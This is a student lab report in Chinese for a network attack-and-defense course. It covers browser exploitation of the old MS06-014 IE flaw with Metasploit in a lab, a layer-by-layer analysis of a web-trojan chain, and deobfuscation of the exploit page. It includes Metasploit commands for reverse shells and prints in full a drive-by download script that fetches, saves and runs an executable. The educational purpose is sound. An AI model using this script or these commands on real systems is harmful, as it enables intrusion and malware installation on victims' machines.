# 20253907 2025-2026-2《网络攻防实践》第11次作业
20253907 2025-2026-2《网络攻防实践》第11次作业
1. 实践内容
本次实验围绕浏览器安全攻防展开,涵盖漏洞利用、恶意网页挂马链分析与攻防对抗三个层面。与传统的网络层渗透攻击(如针对SMB、RPC等服务的直接端口攻击)不同,浏览器渗透攻击以客户端为突破口,通过诱导用户访问特制网页,利用浏览器及其插件中的安全漏洞执行任意代码。这种攻击方式具有更强的隐蔽性和社会工程学特性,攻击者可将恶意链接伪装成钓鱼邮件、广告弹窗或下载诱饵,显著提高攻击成功率。
整个实验分为三个任务,从攻击实施到取证分析再到攻防对抗,形成了一个较为完整的闭环。
(1)Web浏览器渗透攻击(MS06-014漏洞利用)
本任务使用Metasploit中的MS06-014渗透攻击模块。MS06-014是微软2006年发布的安全公告,对应漏洞编号CVE-2006-0003,官方名称为“Microsoft Internet Explorer COM对象创建漏洞”。该漏洞出现在IE浏览器创建COM组件对象的过程中:某些特定的COM对象在实例化时缺乏必要的安全检查,攻击者可通过CreateObject函数调用危险的ActiveX控件,进而触发内存破坏,在用户系统上执行任意代码。
选择此漏洞的原因在于其利用方式具有典型性,且在Windows 2000和Windows XP SP2以下系统上复现成功率较高。虽然该漏洞现已过时,但其攻击原理——利用脚本引擎的不安全特性控制目标系统——与后续许多浏览器漏洞一脉相承。
实验流程如下:
- 在Kali攻击机上启动Metasploit,加载
exploit/windows/browser/ie_createobject模块; - 配置反向连接Payload(如
windows/shell_reverse_tcp),设置监听地址与端口; - 运行模块,Metasploit自动启动一个伪造的Web服务器并生成恶意URL;
- 在Windows 2000靶机的IE浏览器中访问该URL;
- 漏洞触发,Kali端获取反弹Shell,可远程执行命令(如
ipconfig、ver)。
本任务旨在理解浏览器漏洞的触发机制、Shellcode的传输执行过程,以及Metasploit自动生成攻击页面的原理。
(2)网页木马取证分析(分层挂马链解密)
本任务提供一个名为start.html的真实网页木马样本。与单一攻击页面不同,网页木马通常采用多层跳转与混淆技术规避静态检测:使用隐藏的iframe或script标签加载下一级恶意页面,逐层嵌套,最终才释放真正的木马程序。这种设计可躲避杀毒软件与Web防火墙的特征匹配,同时将恶意代码分散到多个服务器,增加取证分析难度。
完整的分析流程如下:
- 打开
start.html,解析其中iframe或script标签的src属性,获得下一级页面URL; - 对该URL字符串计算32位MD5哈希值(字母小写,不含扩展名);
- 构造下载地址:
http://192.168.68.253/scom/hashed/<MD5值>,下载对应文件; - 判断文件类型:
- 若为HTML或JavaScript文件(通常经过混淆或加密),则进行解密/反混淆,提取新的跳转地址,重复上述步骤;
- 若为可执行二进制文件(.exe/.dll),则使用静态反汇编(如IDA Pro)或动态调试(如x64dbg)分析其行为,包括文件释放、注册表修改、网络连接等;
- 重复以上过程直至完整还原挂马链的末端载荷。
本任务要求掌握MD5哈希计算、文件类型识别、常见JavaScript混淆手法(字符串拼接、Base64编码、XXTEA加密等),以及基本的恶意代码静态分析技能。
(3)攻防对抗实践(浏览器漏洞利用混淆与反混淆)
本任务模拟真实环境下的攻防对抗。攻击方需构造至少两个针对不同浏览器的漏洞利用代码(例如MS06-014针对IE的COM对象漏洞,另选MS06-055针对IE的VML渲染漏洞,或针对Firefox旧版本的漏洞),并对其进行混淆处理,常见混淆手段包括:
- 将URL或关键字符串进行十六进制转义或Base64编码;
- 将代码拆分为多段变量拼接;
- 使用
eval()或document.write()动态生成真实攻击代码; - 插入无关注释或虚假代码干扰分析。
防守方收到模拟钓鱼邮件后,需:
- 提取邮件中的恶意链接;
- 使用
wget或curl下载页面源码,避免在浏览器中直接执行; - 分析混淆模式,逐层还原原始攻击代码;
- 通过特征识别漏洞类型:如
CreateObject和RDS.DataSpace指向MS06-014;VML标签(<v:rect>、<v:fill>)与unescape堆喷射指向MS06-055等。
2. 实践过程
2.1 web浏览器渗透攻击
实验环境:
| 虚拟机 | 角色 | IP地址 |
|---|---|---|
| Kali | 攻击机 | 192.168.200.6 |
| Windows 2000 server | 靶机 | 192.168.200.9 |
MS06-014漏洞(CVE-2006-0003)只影响Windows 2000/XP上的旧版IE,用Win2k正合适。
步骤1:连通性测试
先在Kali和Win2k之间互相ping一下,确保网络是通的:
# 在Kali上
ping 192.168.200.9

# 在Win2k上
ping 192.168.200.6

都能ping通,0%丢包。
步骤2:启动Metasploit并搜索漏洞模块
sudo msfconsole
search MS06-014

进入控制台后,查找与 MS06-014 相关的漏洞模块
search MS06-014
搜索结果里有个 exploit/windows/browser/ie_createobject,加载它:

use exploit/windows/browser/ie_createobject
use 0
show options

步骤3:配置攻击载荷
set payload windows/shell/bind_tcp
set LHOST 192.168.200.6
set LPORT 4444

步骤4:生成恶意网页
exploit

成功后会生成一个URL,类似 http://192.168.200.6:8080/xxxxxx,我这里是http://192.168.200.6:8080/bKqW6IU5sWo3NH
步骤5:靶机访问恶意URL
在Win2k的IE浏览器里输入这个URL,页面会变白或显示一些乱码,这是正常的,说明漏洞触发了。

步骤6:建立远程会话
回到Kali,Metasploit已经建立了会话:
sessions -l
sessions -i 1

进入shell后,执行 ipconfig 查看靶机IP,跟之前查到的一致;再执行 ver 看系统版本,确认攻击成功。

2.2 网页木马取证分析
这个任务给的start.html里面藏着多层跳转,需要一层一层剥洋葱,不断解密出地址获取对应文件,最终还原出网页木马的加载链条和最终载荷行为。
步骤1:分析start.html
把start.html用记事本打开,搜索 iframe,找到一行 iframe src="new09.htm" width="0" height="0"。这说明start.html里面藏着一个看不见的框架,自动加载new09.htm,而且用的是相对路径,说明new09.htm就在同一目录下。


步骤2:分析new09.htm
由于start.html是单独下载的文件,无法直接通过原始目录下载 new09.htm。打开new09.htm,看到里面两个引用:
<script src="http://js.users.51.la/1299644.js"></script>(一个统计脚本,不是恶意代码)<iframe src="http://aa.18dd.net/aa/kl.htm"></iframe>

第二个才是真正的恶意入口。
步骤3:计算MD5并下载文件
对 http://aa.18dd.net/aa/kl.htm 算MD5。可以用在线工具或者在Kali命令行算:
echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum
得到 7f60672dcd6b5e90b6772545ee219bd3。然后去学习通里面找到对应文件。
步骤4:分析下载的文件
打开下载的文件,发现是一段被加密混淆的JavaScript代码。里面有base64编码的数据,还提到了XXTEA加密。

解密过程大致是这样的:先识别出密钥,这段代码的密钥是十六进制的 \x73\x63\x72\x69\x70\x74,转成ASCII就是"script"。用XXTEA解密后,得到另一段JavaScript代码。

解密后的代码里有一行 document.write,写了一个隐藏的iframe,指向另一个页面:
document.write('<iframe src="http://aa.18dd.net/aa/xx.htm" width="0" height="0"></iframe>');
重复同样的过程:对新地址算MD5、下载、解密,最终得到一个二进制可执行文件(木马程序)。对木马做静态分析,发现它会调用 Adodb.Stream、StormPlayer 等旧版ActiveX控件,利用这些控件的漏洞下载恶意程序到受害主机。
整个挂马链层的结构是这样的:
start.html → new09.htm → kl.htm(XXTEA加密) → xx.htm(XXTEA加密) → 最终木马下载地址
2.3 攻防对抗实践——Web浏览器渗透攻击攻防
本次攻防对抗实践的思路是:攻击方利用Metasploit生成针对特定浏览器漏洞的恶意网页木马,通过邮件发送给防守方;防守方对邮件中的挂马链接进行分析,提取并解混淆恶意代码,还原其原始形态,识别出攻击所利用的浏览器漏洞。
2.3.1 攻击方操作
第一步:启动Metasploit并配置攻击载荷
在Kali虚拟机中启动Metasploit框架,搜索并加载MS06-014漏洞利用模块。
sudo su
msfconsole
search ms06-014
use 0
show payloads
set payload generic/shell_reverse_tcp
set LHOST 192.168.200.3
exploit
执行后,Metasploit会在本机监听一个端口,并生成一个恶意网页木马脚本,木马URL为 http://192.168.200.3:8080/8cTZ6TrQErF。


第二步:验证恶意网页木马
在靶机环境中启动浏览器,访问生成的木马URL http://192.168.200.3:8080/8cTZ6TrQErF,确认能够正常访问,并右键查看页面源文件。

查看源文件时可以看到,页面中包含经过混淆的JavaScript代码,这段代码就是实际的漏洞利用脚本。
2.3.2 防守方分析
防守方拿到这个URL后,需要对其中的恶意代码进行提取和解混淆分析。
第一步:提取恶意脚本
访问该URL后,通过右键查看源代码或使用浏览器开发者工具,获取页面中的JavaScript脚本。原始脚本经过了一定程度的混淆,主要是函数名和变量名被随机化,但代码结构仍然清晰可辨。
第二步:解混淆分析
防守方通过阅读和分析混淆后的代码结构,可以逐步还原其逻辑。经过解混淆处理后,脚本的核心逻辑如下:
<html>
<head><title></title>
<script language="javascript">
// 尝试以多种方式创建指定对象,兼容不同版本的ActiveX和JavaScript引擎
function createActiveXObject(o, n) {
var r = null;
try { eval("r = o.CreateObject(n)"); } catch(e) {}
if (!r) { try { eval("r = o.CreateObject(n, '')"); } catch(e) {} }
if (!r) { try { eval("r = o.CreateObject(n, '', '')"); } catch(e) {} }
if (!r) { try { eval("r = o.GetObject('', n)"); } catch(e) {} }
if (!r) { try { eval("r = o.GetObject(n, '')"); } catch(e) {} }
if (!r) { try { eval("r = o.GetObject(n)"); } catch(e) {} }
return r;
}
// 下载恶意文件并执行
function downloadAndExec(a) {
var s = createActiveXObject(a, "WScript.Shell");
var o = createActiveXObject(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\\baHcaCUvZUPUjq.exe";
var dat;
try {
xml = new XMLHttpRequest();
} catch(e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if (!xml) { return 0; }
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0);
}
// 遍历多个CLSID,尝试创建可利用的ActiveX对象
function exploit() {
var i = 0;
var t = new Array(
'{BD96C556-65A3-11D0-983A-00C04FC29E36}',
'{BD96C556-65A3-11D0-983A-00C04FC29E30}',
'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}',
// ... 更多CLSID
null
);
while(t[i]) {
var a = null;
if (t[i].substring(0,1) == '{') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length-1));
} else {
try { a = new ActiveXObject(t[i]); } catch(e) {}
}
if (a) {
try {
var b = createActiveXObject(a, "WScript.Shell");
if (b) {
downloadAndExec(a);
return 0;
}
} catch(e) {}
}
i++;
}
}
</script>
</head>
<body onload='exploit()'>
uOlpCFbceSXHxTNnti
</body>
</html>
第三步:识别漏洞类型
解混淆后,防守方可以发现以下关键信息:
- CLSID特征:脚本中遍历的CLSID列表中包含
{BD96C556-65A3-11D0-983A-00C04FC29E36},这个CLSID对应的是微软MDAC(Microsoft Data Access Components)中的RDS.Dataspace控件。该控件存在一个远程代码执行漏洞,微软在2006年4月发布了安全公告MS06-014进行修复。
使用html代码压缩工具'https://www.jyshare.com/front-end/47/'

-
攻击行为:脚本首先尝试创建
RDS.Dataspace对象,然后通过该对象创建WScript.Shell和ADODB.Stream对象,从服务器下载payload文件保存到临时目录并执行。整个过程无需用户交互,属于典型的“路过式下载(Drive-by Download)”攻击。 -
漏洞影响范围:MS06-014漏洞影响Windows 2000、Windows XP、Windows Server 2003等多个操作系统版本,主要影响使用IE浏览器访问恶意网页的用户。
分析结论:该恶意脚本利用的是MS06-014漏洞(Microsoft Data Access Components远程代码执行漏洞),攻击者通过构造特制的恶意网页,当使用存在漏洞的IE浏览器访问该页面时,无需任何用户操作即可在后台自动下载并执行恶意程序。

2.3.3 攻防总结
本次攻防对抗实践展示了Web浏览器漏洞利用的完整流程:
- 攻击方通过Metasploit生成针对特定漏洞(MS06-014)的恶意网页木马,封装成URL后通过邮件发送给目标用户,利用IE浏览器漏洞实现自动下载执行恶意程序。
- 防守方通过分析网页源码,提取JavaScript脚本进行解混淆分析,识别出其中的CLSID特征,从而确定攻击所利用的具体漏洞编号。
这次实践也反映了一个现实问题:过时的浏览器和未打补丁的系统存在巨大的安全风险。MS06-014是一个十几年前的老漏洞,但直到今天仍然有攻击者用它来攻击那些没有及时更新系统的用户。这也进一步说明了及时安装系统补丁和安全更新的重要性。
3. 学习中遇到的问题及解决
问题1:MS06-014攻击时,靶机访问URL后页面一直转圈,没有反弹shell
原因:靶机的IE版本太新或者打了补丁,漏洞没触发。Win2k默认的IE应该是5.0版本,但有时候自动更新会打上补丁。
解决:确认靶机操作系统是干净的Windows 2000 SP0,没有安装过任何安全更新。如果还是不行,可以尝试换用其他payload,比如 windows/shell/bind_tcp。
问题2:XXTEA解密时一直报错,解不出来
原因:XXTEA的在线解密工具格式要求比较严格,需要把密文和密钥都处理成正确的格式。
解决:可以用Python脚本自己解密,XXTEA有现成的库。或者直接用在线解密网站,注意密钥要转成十六进制形式输入。
问题3:解混淆时遇到eval加密的脚本,不知道它在执行什么
解决:在浏览器控制台里直接执行被eval包裹的字符串,或者用node.js跑一下,就能看到实际执行的代码是什么。也可以用在线解混淆工具。
问题4:防守方分析邮件URL时,页面一打开就自动跳转走了
原因:页面里可能有自动跳转的脚本或者meta刷新。
解决:用wget或者curl下载页面源码,不要在浏览器里直接打开。下载后用文本编辑器看源码,避免执行任何脚本。
4. 实践总结
这次实验内容挺多的,三个任务串起来基本把浏览器攻击的完整链路过了一遍。
1、MS06-014这个漏洞是真的老,Windows 2000都已经淘汰不知道多少年了,但它的攻击原理跟现在的新漏洞其实没太大区别——都是通过构造恶意数据让浏览器执行攻击者想执行的代码。不同的只是攻击目标从IE变成了Edge、Chrome、Firefox。
2、取证分析那部分挺考验耐心的,一个页面套一个页面,还有各种加密混淆,得一步一步往下扒。最终的木马会利用ActiveX控件下载恶意程序,这种挂马方式在当时非常流行,现在已经很少见了,但分析思路还是通用的。
3、攻防对抗那块让我意识到,攻击者不会直接把攻击代码暴露出来,一定会做各种混淆来增加分析成本。作为防守方,不能只靠眼睛看,还得会用各种工具解混淆、抓包分析。
这次实验最有意思的地方是让我明白了一个道理:浏览器渗透攻击跟之前做的那些网络层攻击不一样,它不是靠扫描端口找漏洞,而是要靠社会工程学或者其它方式让用户自己去点那个链接。这也解释了为什么钓鱼邮件这么多年一直都还有人用——因为人永远是安全链条里最薄弱的那个环节。
浙公网安备 33010602011771号